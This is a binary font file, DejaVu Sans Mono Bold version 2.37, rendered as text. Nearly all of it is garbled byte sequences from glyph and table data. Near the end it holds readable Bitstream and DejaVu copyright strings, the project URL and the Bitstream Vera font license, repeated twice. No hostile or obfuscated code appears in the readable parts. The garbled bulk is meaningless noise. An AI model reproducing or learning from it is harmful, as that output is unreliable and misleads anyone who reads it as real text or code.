������aY������	5!$�Y���c�����N1� ���V{	5!$�a���c��^���N1� ����VH�%+53265!!!!!H\\�y%dQ����'q':��nl�n�l�h��9��X/4&#"!!>32+53265ENPZ��#�j��[Z�y'dR�yh�}���]f��T�kl�n����'�!J=!5!5!5!J�>�>�!�������!#�!�#�q��e�����d��1��0!���+��egfl�De"&'&#"3;!"&5#"'&!5!!�;2�Rb��Ѷ{��@'��N
�?28��Ԅn��+��)b�̜P����
!!3!#!P=�g��}�^����=�/��B=��a���{3##4&#"!!>32���ENO[��#�j�����zi�~�`�]f���!!!!!"#5476��+'����B1�TT���9�+��h�/B;�NP����33533#####5335:��UU��TT���}}}\��t��k\\ff1��"+.#"#"'#"&632632!3267"264&�IF@L�@�J�^X������WZ����"`a@{C��BLK�KKABE?��UU�0�VV��CJH #Hh�hh�hb��o#2#"67.5463%""326&r������v.�6�	VHrPixxijxx|�������=�k)m��9%Q����J�JG@&
	��t�ZYX
X�<�2�<�<�991/<�2�<���2990!!!!!!#53546;#"%%���\���۽���PDB/��-c�����Nʜ�0J?@"��t	�ZYX
X�<�2��991/<�2���29903#!#535463!!#"�۽�������B/�c��Nʜ��30���L�'�����E�L�'��������h�X'���'������'���(���L�'�a�����E�L�'�D�������lX'�@��'����l��'�8��(���0�'�S�����E�`�'�.�������d]X'���'����`��'�D��(������'������E����'���������'��2'�����4'��S(������'�G����E����&��5��z<'�;['�����_'�@~(������'T$�����E���&�T �����mD'T�'�����?'T�(�����|�!'�0�����N���&��4����q�&���j�����&��V�����|�1'�8P����N���	&��,(����q�&���������&��B"��X���'���c�4��75353;#"'&'&5327'&54767&5$0�����2a@M(1��l\>mF�|i��ɖ��{���1�'O�Z�$����^���>B/�7*�_lH>���^Op�bĘ��Dh'�@5�����~\c&_��������c&`�
�8��X���'�c�4��73#%3#;#"'&'&5327'&54767&5$0�����2a@M(1��l\>mF�|i��ɖ��{���1�'O�Z�$�>����>B/�7*�_lH>���^Op�bĘ��Dh'�@5������\c&_�l�������c&`�@��X���'��c�4��8<5353&'&5327'&54767&5$';#"'&'!53�J�E>>mF�|i��ɖ��{���1�'O�Z�&� 2a@M(1�����N��.�1]_lH>���^Op�bĘ��Dh'�@5�>B/�7	�����n\c&_��������c&`�@��X���'�&�c�4��9=5335353&'&5327'&54767&5$';'!53��M��Z >mF�|i��ɖ��{���1�'O�Z�&� 2a@M(���������.�#._lH>���^Op�bĘ��Dh'�@5�>B/�?������\c&_�������c&`�T�����'���g���`��'��j������&gTU�����`��&jT���
��]l��n��l1%!"'$47!32767654/&'&54767;#"'�
�`��pl��,&y1[xH](45[	"G(7��9 �-RT�HLF0 b,�@^�n@",DX6,v�B"C@,\ ���04G��?�!����+���������
��c�'������n���&�T����+�&��������&�������������&%#"'$47!3276765'!;#"EE<�fۤ���1 &~LCi*r$".$

.04^>�zjF/?������I,6gb`-d t8@������������<�"0@%3!"'&547!763&'&54767&'5%376'&'&'%67654'&#"�k���<y
'#%D8*%D(E�+��61"�� ��"D�#!
/]Q=ERH'�>��B)!F'-p
77/&9
A5����3����<�$4#50!&'&54767&'53376'&'&'%67654'&#"&�<*%D(E�+k�/61"�� �3]Q=ERH'�>��B*�)!F'-p
77/&9
A5���X
%!#53276=!�H�w��,1VV�,1j�������%#!53276=!3!!"^@��,1"1,����HH�,1j��j1,������uz�������*������rX'�3��'�������'�?��(��0���|������&q|���k�}���
;#"'&=!�1,cK�\W#u71,�\W�+��0�����~��0���������&q��*��������&�q��0������������&�q�������������&�q��;��!������!&q����-�W�����'��]�����&J����Q'����]����Q&J�'��L���'�`�fy�����&�����b�����&��]�����&J�V������'���;z�������w&��������&'���p������&(��p����]�
!;! '&1,������PW�x��j0,�\e�����'������E���&����������X'��'����p��'���p(�����%i'���x��V��&�������k'�C����E���k&��L�����s3&'�4R�����3&(�>R������'�>����E����&��0�����q�'�2R'�����k'�7,(��X���'��c��X���&^�(������\c&_�
�������c&`�
���X���cX���/;#"'&'&'327'&54767&5$&�
na`(1��l;)'I�|i��ɖ��{���1�'O�Z�$�B�(-s}n�}c�`�D��^Op�bĘ��Dh'�@5���\c&'&'&5672+5327676G+�9�R�HK����0�7�h����dw�}[;

�#4f�5uTD<�O1?)���c)+53276767&'&'&5676;#"'&CD��ŀdw�}[;�+�9�R�HK����&7 Q9<P�y<1];<�O1?)T

�%4f�)#[�R��X���'��c��X���&^������\�&_���������&`�
�����L�e����";#"'#"'532767654'&'!LFSK[]��:R�gs�R"�"<E�GkHM�=+/-�zw"&�*	.s*]es�l������L/'�,Ne�����G&f�1f�����"g�`��&;#"'5 767654'!	&I<spX������
5�v<-�۟�􀋓:H~�2������'�Mg���`���&j�����<���i�����F;#"'#"'&''&'#"'&547332767674/332765332�+?4, 6G@J/B-%n3<G��ec5�0$ *
)�
$#� !/�Ӥ+�H23H;/F9+Y�{K\da�ّ֔w<$6#^l�Wc�X\ElH�τM&�����1&'&'+53276=3327653323#"'&'({-MI;eF*@$F�Q#� !/�C 6G@J/B-%'B+2.%�#GM��ZKTlH�τM&���j23H;/F9�����8323;#"'#"'&''&'&'+53276=332765 !/�+N4, 6G@J/B-%n{-M#,P6$&�Q#XτM&�Ӥ+�H23H;/F9'B+L%�#'m��ZKTlE����<��_'�6 i������_&n�� ������_&o� ������_&p�� ������k�����H%327654'&#"%3#"/+"'&5#"'&5473327676'&/3676.�]>4FD7< 33M!
'_��%5,iG��ec5�0$ $*�
CA���RX�,$ QB

�8-S�m�\da�ّ֔w<$6!`��]]T'3WE�fnf'���� -%&'+53276=3676+"7327654'&#"V<%&:WE*((0�HN���RX�L�گ�]>4FD7$�(/`rNN`J�fnf�`-�,$ QB����9"327654'&#"'&'+53276=3676;#"/EC8�\?hڢ8Q%VE*(�FO���QX$3H3&_�QB*,$ �b�$/drNN`J�fnf'
�5-�����'�O�k������&v��������&w������&x����
�m�%%327654'&#"%;#"/#!#53!632�M,>5M<GR,.lICu��䤤#���hX�,, Zjn<0�Ob�3�جhX���%327654'&#")5!!632Y�M,>5M<G����#���eX�~�,, Zj��3�جh[y�mK���%%327654'&#"%;#"/#!#53!632�M,>5M<GR,.lICu�����#���_X�,, ZjnD0�Ob�3�جh`��
�'�z,m���&~�C1�����&��6�����&��C,��H��eoT��,?076'&'&#&!27'&74767&'&54767632;# 77-
'"!p/UF�Ԗ��4�zL�'6:o^��YeF2jQB;�����#2��NlMCyv�bǐ�]n&ZEJ7*9;4,,39&@0F3B6����]727&'&576%32?!#5=��AQn�	�qJX83N�\����Y�S
Je�lL�C-EKS5!Z���{����,!-3!"'#!5367&'&54767632%654'&#"W���h��h��ڋ]VE$*Ujfiga $S��Q$(/Hᄄ�CVZ'-H.6%--+-2G3!^?N	��H���'�6�o��T���&����������&��w�������&���������|�'��*����N����&��������qs&��w�������&�����(��'��������k&��������q_'��~�������'�F�������t�����!D#"'5327654'&'&5476;#"''&547!327676P E*�jXcB8D-E0 /Y#:^S�1,
;rWML^����FD�RP4rx#
�q1)�
""8Ef.&��kA0,�TT(57L�K5>(N365,K����+)5!27654'&54767��Z��)6��r
u�^J�f>^�\$$(B;�G&m16���%*%X��y}qe����$%)5!27654'&54767;#"'0V��>��)6��r
u�^J�',8.R�P�"��\$$(B;�G&m16���%*$Y���Y�����u�����#;#"''&'&7!3276765@390gL(5��n�$.0`UZkFO�kK',�7bCs�L��\ssj1+-3di�j��
)5!2765!VP������,0��e\�,1jl���%#!532765!;!"^@��,1"1,�����HH�,2il��j1,�<���v���$5;#"''&!4763&547632276'&'&'&#"D5("V� 
nt��Y2��xAw~M�`b��p1& 04!+	�3DP&4O�K��f7*�g?'J�
�7&':���'�*%276'&'&'&#+53767632#"31?1& 04�"J@�ZZ�-aA�`b�|a���7&'9����`@(H�.8�XD�����/%276'&'&'&##"'+532767632;#"1?1& 04��u�i"IAkZZ�+SA�`b�,Dd���7&'9�Pl�}�P@(J�G7�����'����������&"�O-�����3'��R'�����3'��R(�����%�xV�|%&'&'2&'!;#"'0'#"'$5476�

f<ky\# 8FVq�n'L��Z��mh*12e
2\2R�'+͠|Oc�4fI2�ћD��3�
-=27654'&'&'5#"'&'+5327&'&547667654'&#"�#@ 0m!"�.(3��>=e�f^E=S���*%"*%�' 
P8C!N'-_��;���49rFq#+�CIQ=ERH�f<I/&+%5�����
(3!3254'&#)#"'&'&'!5!6767632)327654#"�&E8:EG>��\DM��`L(2��2(L`��MD\Y�>GE:8E&uH�g>MOuf�U`p\`wx�xw`\p`U�fuOM>g�H��L���y���)"34'&!5 767"'&'&5476323�6L<d<%`'qOd����o�)3p�Zt�9l�H~
��#!$*�)�Z�xT.V�<fa

6F��Z3Y�K>������uz�����*8$4'&'&5476762;#"'&#"'&&7!2767�#/1/N,`V@I#�,+3
*L>Ko��z��$m<49f,;2$0bjCA2:Z�ᬪ*Ll�<H3G$8\�Ptn
%���k�u'��kz�����d�*'���d������qX&'�2��������&(�?�����v��S&����,���l���&����,�����S�&���>,�������&���#,��l�pS&������l�U�&�����l��S#"'5327!65!S�;Q��jK`UrH�{/!B���_M� � PS��g��l���%"'5327!65!;#"h���jK`UrH�{/!a=Mi���� � PS��g���.��.���j	(		!46?>54&#">32!5h:����&DX^D��e�b`�T\\-?ZP>j����:��� =TBV\�L��98��FGDC+P=YN�c�{���	
!!!5!#!!3��-�-�%��8�`�xxp�������p��;f@��1��0!#!��f��-��1@
����1�<�20K�TX�@��878Y3#%3#���u����������8���1��0K�TX���@878Y@
//]!#����������!�@ 	��	"
"����999991�<��<�99990K�TX�"��""@878YK�TX�"��""@878Y@]















!
!.]'&'&#"#5463232653#"&j6-(�mX$K&<'$'�kX%G"<2j�'<9j����8���1��0K�TX���@878Y@
//]#7����������b@	��91�<�90K�TK�T[X���@878YK�TX���@878Y@///	]!#'#�5߲�Ʋ���������h@	��91��290K�TK�T[X���@878YK�TX���@878Y@////]373�ݲ�Dz������/�wqB@
��991����0K�TK�T[K�T[X�@��878Y�78]'T%#%�vwc�k
3>323.#"�bLM`�����c<=<=���c�k
@]]����1���20332673#"&�bLM`�����k<=<=����u�k���1��0!!���k�cbk/@
���@O?/]�1�<�K�QX�@8Y20!#!#F�����k����oc�k#!#��������k����Zw�%!!!5676767654'&67632�����?.
,A=J@AAB��$G
�����tP;*AE 1)Z58��BKS;r`]
/-��N���1��0!!-w��N���N��!5!N�5�����!5!�;����!5!��P���2"&46"264hxO()��nMKpN�T'd;t��LpKLn-;�13#%3#���u��1�����53#����?�%3#%3#^��������??3#3#%3#�������?�}���E���%"'&547!32767654'!;#"'&'[�u�g&d2MU%*
!KA#7$�)F�dVPV@-&*QVKZ;3(�. 'V��q�0654'&#"32327676'#"'&54767632#!0'!+����6E&o�Tb�N}�N;51E1�m���G.%0��(, #CQ�-3�E$2&UOq��kJ'���E!5;!"'#!5327&'&54767632"67654'&'&�$X*r�����w#=)+?XTfnp+%"&
04X=�:@+H�99�^.LHh�
'#2."$
���.@%&'&'&5476763237## '&547!32766'&'&"�V>�_j2^k��$l"$:?02\�����[3#*2-�~^xf$!$#1/GB

iuw^h68@6`a���zR�K@�m�z��dQLF<LxkI5
&%)'�N���J+=%#"'&547!327&'&547676322;#"654'&'&#"t�rĄ�
!tG�U�/CU+wev�Sm(Z	O��QW""(71%>6f��_�fj.<UjVo+\7/2C!F��x�)Ab"$
+*"N��?�5353!53��2����^��������5353�����^����?�5335353!53�}��������^�������	��I���- ��	5��d���l����%4'&"27>"'&47623J22J�?@�?@@?�@�$2%&2��@@@@�@??l�Xd�@@%dp
&&����91/���2990KSX��Y!!+53265!l�\\�y'dR�;�����g��nl�n������!"'&547!32764'��p���g3�|nuZq��X4;�TfnLH0DI�0�(�"6654&#322765#"'&54767632!&'&47!i)@5,!,)'���j�$��i�+�Tc�Q_V.N����ݢ�057D(K#N$.=*�,�̖"Fc�8(�R&HT����su�~�]zJ\�����k'����'�@��������&��9���X���&c����8��X��1&c��P��X���&c�B�����'�>��g���|��:654'&32#"'$&7!3276767#"'&54767632�,,;!%&,?�Mﲥ�{��# $xZ;�re73
C�\|-wqb`YM]#�&-#*B�|^6()[:�\^�-"')Ha�c)s52(#�4��������&u�������#"'$47!3276765'!�T<�fۤ���1 &~LCi*r$".$(�֕jF/?�
�����I,6gb`-d���L��t&y���@�����X&z���$�����%�x���	@
d
�<�2991/���0!!!3���!�#��+�e�������%x@<
	%%	
fhrd&#
	!

&�<�<���9999991�������9990KSX�9�9Y"!!!3267#"&546?>54765����>PZ=-\\S�ab�e��D^XB&��o�c�MY;Q,CDGF��89��L�\V@T?��������u^����_<���+���+�m���Tm��m����h�����!%�5yBj-�q{�s}f����o�sXXX�!}����u��mu�Vw\�\��Zj9s�o/9�^��Z\�b����ZR�b�Z#�o�P7;����X��w���-wX--X��F�o9�///�!!!!!!���������w\\\\\w��jjjj�^^^^^^�\\\\����b�bbbbbB����;�;!^!^!^���������ZZ�\�\�\�\�\ubububub���������������	m�u���Z�Z�Z�Z��%w�w�w���j�\b\b\bD�#���#��������ZoZoZoj�j�j�j�j�j�;s�s�s����+-�����}�a�\}l[& ���ZPR�\	����b;ooZZus�

n�s
n�Q��I�!^��\bj�j�j�j�j�\!^!^ubu�\b\b
n�ubw���!^!^o\�\o���\b\b=��#j�j���Zo6n��js�!^�\\b\b\b\b;1%o�������9�nxx���MFX\�f0l�|�bb���j�jXlrPPP@DxbKR��M����hA�[[[;��XUTP:D.vne����7wl=x^h�F��3B�QJ4.98QII�UU�������HH��	-	-)s����.��L�)��'JH�����-�-�L)�
������NNo�S��V;`S/��-�to�
-���-X����-J�a������w����sm�-������y���U���!}�!�s�\�u!Vw�\��bZ\PZ�6��L6�8b���a�P�/�b��b�LAHE@LbL@pi"�$":4\b`Z�cr-4���\�����VV.������������m����uw�!�}�(�
}wwuV�\���Z#PeNN(|�S^Aw�?\����EV�b����;O7a�N:(��8`\\������#��;�(\b��/\��
}�u�%NN��Z�997e��
u���e��!^!^�\\\\\
}�
nw�w�\b\b\b��;;;e���(}�\ZGb!!bMpb+!j�N#j@G!G!2!KjM4H!j!ij2p3\���C�P�Ag�A��6A�HOb���g��g���P�u�aQ�u�QAb*.�-;;�Y�����L���XXX����<�<���

HH��<�L0�00*0�;���8�l}>�fBZZz����XXXX����

���l}>>L�ZZz�>ly�KGf{5SK}}TTHHfd>O>X5RRk��
��		i	���3��hbdPabbbbbdbbaabdb9b^baabcbaamMcP~5fiba)(+��",DD*:PND002(�))0�00$$.'&M"O""09M�&UMb:jZ0OJ%$Jt2M'?'',,x0"�O9G.)"!^}�}�}����Z�Z�Z�Z�Z�\�\�\��ub������ C����u�u�u��Z�Z�Z�ZVRVRVRw�w�w�w�\b�����#�#�#�#������ZoZoZoZoj�j�j�j�9P9P77;s�s�s��o;�b!^!^!^!^�\�\�\��\b\b				j�;;;66666666������q�5�T�"�����������h�6���������������,��(�(���������r�@�U�Ubbbbbb�\����&��LLLLLLLL�{�n����@@@@@@@@�p�*���?���}66�����bbLL@@66666666������q�5�T�"���������������,��(�(@@@@@@@@�p�*���?���}6666666!!��!������������y�������)����LLLL��LL�����-�@@@@@�8�U�B��Z��--��j�������9����Z������/&&��&�%��I9�%��)"I&'I0J9YEn'<2	<,.Zg
f�;;2J
Zu!��////��/#/#/B�B�B�����BB;IB�B�BBB�B��BBBBBB9�����?222B77BB��BB��BBBBBBBBBB�B�B�}��}BBBB��B�B�BB�A�������B',�BBBBBBBBB!w��?����ddcddc���BXqy111�XX������������BJ/XXXXXXXXXXXXXXXWXXXXXXQQXXXXXXXXVVNXXXXXXXXXWXXXXXXXXXXXXVVXXXXVVXXXXXXXXXXZZXXXX>>2222BBBBXXXXZZ��X����ZZXXXXXXXXXXXXXXXX9?rn�����/�/

XG��#X

�C@_24BBBBBB!BBB!BB�����B�-�XXXB!XX�XX�@��64HFFF�����������������n����<<�<<�����������������������������������������������������������<<��xxx����xx����xx������������������������h���h���������������������i��F��i������i�����DD��������u77�����7777��aa��"5"Y::�;+6.oc��N8/&//0��	"N`ya�7g!!!!�����G�CL�54=/U28Y^CVp���j6��gv��2�1.r�jD�7`./<KD$>K--9.7.P<<<<<<....RR�s'��J*R*"���..:=4%=?D-W&W;%�J�@�3@V90�~�0G+%(C(#(=(.6W0$2$0174!$%2 02)!"$E=80+�Q���g��.rA1��fnCD�������StSt-IS-6SS`{{66O6ee5a}T2)�XtSuN*u5&%2SBu)�QQWW��������|�uBBPwXXT11����T1�`V!`��A�b��s�X�/�/�EE���G��������elPa�1bE���E���E���E���E���E����O����O���X���X���X���X����`��`
�n���
�n�������������������0����00��*��0�����;�������L�������E����VE���E���XX���XX���XX��������`��`�<�����<�������������
���
���HT���HT����O�����������������<���������V���L�������v�l���llll.��-���/�oZ-��P-E����OlXXX���L����DDDD����x�X�H��0d		\

�`�

���$p�����||�,�D����d�`��x� h �!!P!�!�""H#@#�$`$�%�& &�'`'�(@(�)**�++�,<,�-�.@.�/H0@11�282�3(3�4t4t4�5�6 77�8(9\9�:�;�<<@<l=�=�>T>�?H@@D@�ALA|A�A�BpB�CC C@D4DXD|D�D�EF�G8GPGhG�G�G�G�G�HH<H�II$IHItI�I�J8K<K`K�K�K�K�LlM\MtM�M�M�M�M�OhO�O�O�O�O�PPP4PLQdQ|Q�Q�Q�Q�RRtS|S�S�S�S�TT�T�U U8UPUhU�U�U�U�U�U�VV(V@VXVpV�V�WlW�W�W�W�W�XXX4XLXpX�X�X�X�X�YYY<Y`Y�Z,Z�Z�[[D[\[t[�[�[�[�\ \�]�]�]�]�]�^l^�^�^�^�___0_T_�```x`�`�`�`�`�aa�b4bhb�b�b�b�b�c�d�d�d�d�eee0eHe`exe�e�e�e�e�ff fDfxf�gtg�g�g�hh4hLhph�h�h�h�h�ii,iPixi�i�i�jjj4jLj�kk�k�lDl�l�m|m�n\nln�o8o�p,p�q0q�r4r�sstttHt�t�u@u�u�v4v�v�w@wXwpw�x<x�yy�zz|z�{{x{�|,|d|||�}}`}�~~L~�p��x���\���4���������0�H�`�x������������0�H�h������������ �@�X�p�������������0�H�`�x�������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4���P�h�����`������,�D�\�|������������4�L�d���`���8���d���\����d���@���0�����0����|���������������H������� �h�����p����x���<�x���(�����d���<���L�����`���\���L����h����L���T���@�����p����l���X������4�����X���T���������8�����p�����P���4���|�<����l������h��������8�x��� Ì��4�tĄĔĤĴ���,ň���@Ɯ�������0�D�lLjǜǰ�����ȸ��H�Xʔ��� ˬ���@�`̰̈������(�8�H�Ẍ͔́����(�t΄������,�X�pϤ����$�@�T�hЌЬ����@�dшѴ����4�hҨ��@ӤӴ�����LԌ����L�D�pր֐ּ֠������@�d׌���؀ؘبؼ�� �<�L�\لٔ٬����������$�4�L�d�|ڔڬ���������8�H�X�h������$�4�D�|܌ܜܬ����ݜݬ��������(�@�X�p��d��L�\���h�����X�����4���d���|���<���������$��0�����P���d���0�����������������x���h�x������t�������0����p�������@����,�D�\�����$�4�p�,�<���������8�H�X�h��������� ���������`����x���$4����`���8�P`�����	8	�
L
�D�T�
�
�
�$<���$��<Tl��l|��L��<�� d��$X���� 0`��0x��4�L�d����$<Tdt�����$<Tl�����0H`x�����4`x�������l� ( x �!0!\!�"@"�"�##x$$$p$�%�%�&T&�'@'�( (h(�)0)�*8*�*�+x+�,�,�-4-�-�.l.|.�.�//(/�/�0@0�11\1�2 2L2�3<3�3�44�545x5�6D6�7<7�7�88�8�9,9�:l:�:�;8;�;�<<,<�=(=8=�>$>P>x??�@@`@�@�AA�A�BBB0BHB`B|B�B�B�B�B�C`CxC�C�D,DDEEE�E�FDF\F�F�GG$G<G�HXH�H�I`I�J�J�J�KLKxK�LL(L�L�M4MDMXM�M�M�N,N�O0O�O�P0P�P�Q4QtQ�Q�R R8RPRhR�R�R�R�R�R�SS(S@SXS�TT�T�T�UUU(U�V,V�V�V�V�WdW�X@X�YY�Z@Z�[[�[�\`\�]$]�^<^�_L_�`(`�a a�bb�cpdd�ee8e�e�e�f,f|f�gHg�hh\h�h�i(i�jjj\j�kPk�l�mLm�n�oDo�pLp�q�q�r�ss�tTt�u<u�v�w�xPx�y�z$z�{(||�}<}�~�p��d�����������8���@���������`��� �T����<�l�����(�X�������(�X������x���������\��h����|�����P�����H�����$�X�����(�h������$�8�L������p�����������������D�t��� �T�����\���8�����@���t��������d������p���$�<�T�l������������ �8�P�h��������������(�@�X�p������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h������������ �8�P�h��������������(�@�X�p������������ �8�P�h��������������0�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�H�`�x������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������� �8�H�`�p���������������0�H�`�x������������ �8�P�h��������������(�@�X�pˆ ¸�������0�H�`�xÐè������� �8�P�hĀĘİ�������(�@�X�hŀŐŠ�������� �8�P�hƀƐƨƸ�������4�L�d�tnjǤǼ�������4�L�d�|ȔȤȼ�������4�L�\�tɌɜɬ��������$�<�L�d�tʌʜ����������������������������(�P�xˠ˼����L̬̈��l����\���D�`����D�dҀҠ�����<ӀӜ�$�8�pԠ������$�\�\���֐��|פ�P����,�Tوټ�� �4�H�\�pڄژڬ��������$�8�L�`�tۈۜ۰���������(�<ܰ�d���4ޠ�0ߤ��\��d�|����<��X��������T���8�����T���x�4��<���t��������p����� �@�`������� �@�`�������P�����@�p������`�����H������X������H��� ���h�$��d������P������|<�D�0X����l�\��4p���,l��	H	�	�
$
d
�
� l�X��
0
x
�
�0l��<��@�X��0��D��$t�0d��$�(X���,��\�����t���(��� 0 �!!8!H!p!�!�""�##�#�$$$$P$h$�$�$�%L%�&&l&�'X'�(\(�)�*�+D,4,�,�-�.$.<.\.|.�.�/(/�/�0<0�0�11T2<2�3L3�44d4�55\5�5�6D6�77`7�88�8�9l::�:�;4;�<$<l<�==`=�>l>�?D?�?�@D@�AA\A�B\B�C,C�C�DD0DdD�D�D�E�F`G,G�H�I�JhK(K�L,LhL�L�M MDMlM�M�M�N4NtN�OOLO�O�O�PHP�P�Q0Q�Q�RLR�R�SShS�TpT�U8U�U�VHV�WPW�W�XX,XdX�X�X�Y(YHYhY�Y�Y�Y�Z ZHZhZ�Z�[[P[�\�\�\�\�]]4]�]�^^�^�c�c�dd@dld�eede|ff�f�f�ggHg|g�hhXh�h�i@i�i�jHj�j�kTk�k�l$lpl�mm�m�nn0nHn`nxn�n�oo(o@o�o�o�o�pphp�p�p�q,q�rxr�s s�s�ttxt�t�t�t�t�t�uuuhu�v�w|x@yPy�z�{{D{�{�{�||,|d|�|�|�|�}}0}h}�}�~~L~�~�~�Dp�����$�X������<�|����4�X�|��������0�P�t����������@�h��������@�l��������<�d��������<�h��������8�\��������0�\��������P�������$�\������4�h������� �L�x������� �T��������8�l�������(�\������D�x������L������t������4�T�p�������� �<�X�t��������(�<�X�t�����������8�T�p�������������$�����0�D�X�|����������,�H�t�����8�����P���x��������$�P�p��������,�H�t���������H�d����������4�\�|���������8�0�������$�x���(������,����T������0�\������ �8�P����<�d������@�h����H�����<���(��������D�`���������,���������<�����t�<��h��8���Ȍ��Xʰ�H̐��͐�T��τ�H���Ҕ�րט���ܐ�݈���p��@�d���0��\�����\����0��8����H������|�@��P��0���p�����T�p����� ����\$�$��p���8��X���	L
0(
D0@`<�0|px0(h�� H!!h!�""8"�"�#L$@%t&�'0'�(L)L+-�/X/�0(0P0�2\3�5�9l;<�=@=�@�B(CXDTE�F`F�GHG�G�H4H�I�JpJ�J�K$KTK�L$MM�NXO�Q�T�U`V$V�WW�XhX�Y\Y�Z<Z�Z�[L[�\T\�\�]8]�^L`bc@epgi�o�q0s�t@t�u�w<x�z{\|�}}L}�}�}�~8~T~p~�~�~�~����������������\������(�P�x��������|����H�t�����t������d��������d������T�����4����� �t�������$�|�$���`�<����8�����t���(�d��������8�T������D��������L�������<�d��������8�d�������$�L�t������4���P����H������|���H�\���,�t����4�T�t����������D�l��������4�T�|��������D�p�������8�h�����<�L�t�������H����� �h���p�������������(�@�X�p�������������0�H�`�x������������ �8�P�h�������\�t�����P�h�����P�h�����T�l�������������������������� �����x���0�d������������ �0�d�t����������������$�<�L�d�|������������$�<�T�l�|����������,�D�\�t�������������4�L�d�t��p����$�<�T�d�������l�������|�ð������� �ŀ�,�D�\�tƌƜ��p�����,�D�T��t���4�L�d�|ʔʬ��������$�4��h�����h͠����Θ�Ϭ��������И�X���ҌҜ�H�`�xӐӨ������� �8Ԉ�������������lմ���<֔���$ج�<ٜ��� �Lڨ���Xۄ۠ۼ��� �H�`܄ܴ�(��d�,����4�l��������������������H�`�x��������+e@�$_�B]��5m�
	�4�	�	  	S	*b	*�	�	&
	"I	:	
&�	h�Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu Sans MonoDejaVu Sans MonoBoldBoldDejaVu Sans Mono BoldDejaVu Sans Mono BoldDejaVu Sans Mono BoldDejaVu Sans Mono BoldVersion 2.37Version 2.37DejaVuSansMono-BoldDejaVuSansMono-BoldDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/License�~Z�	

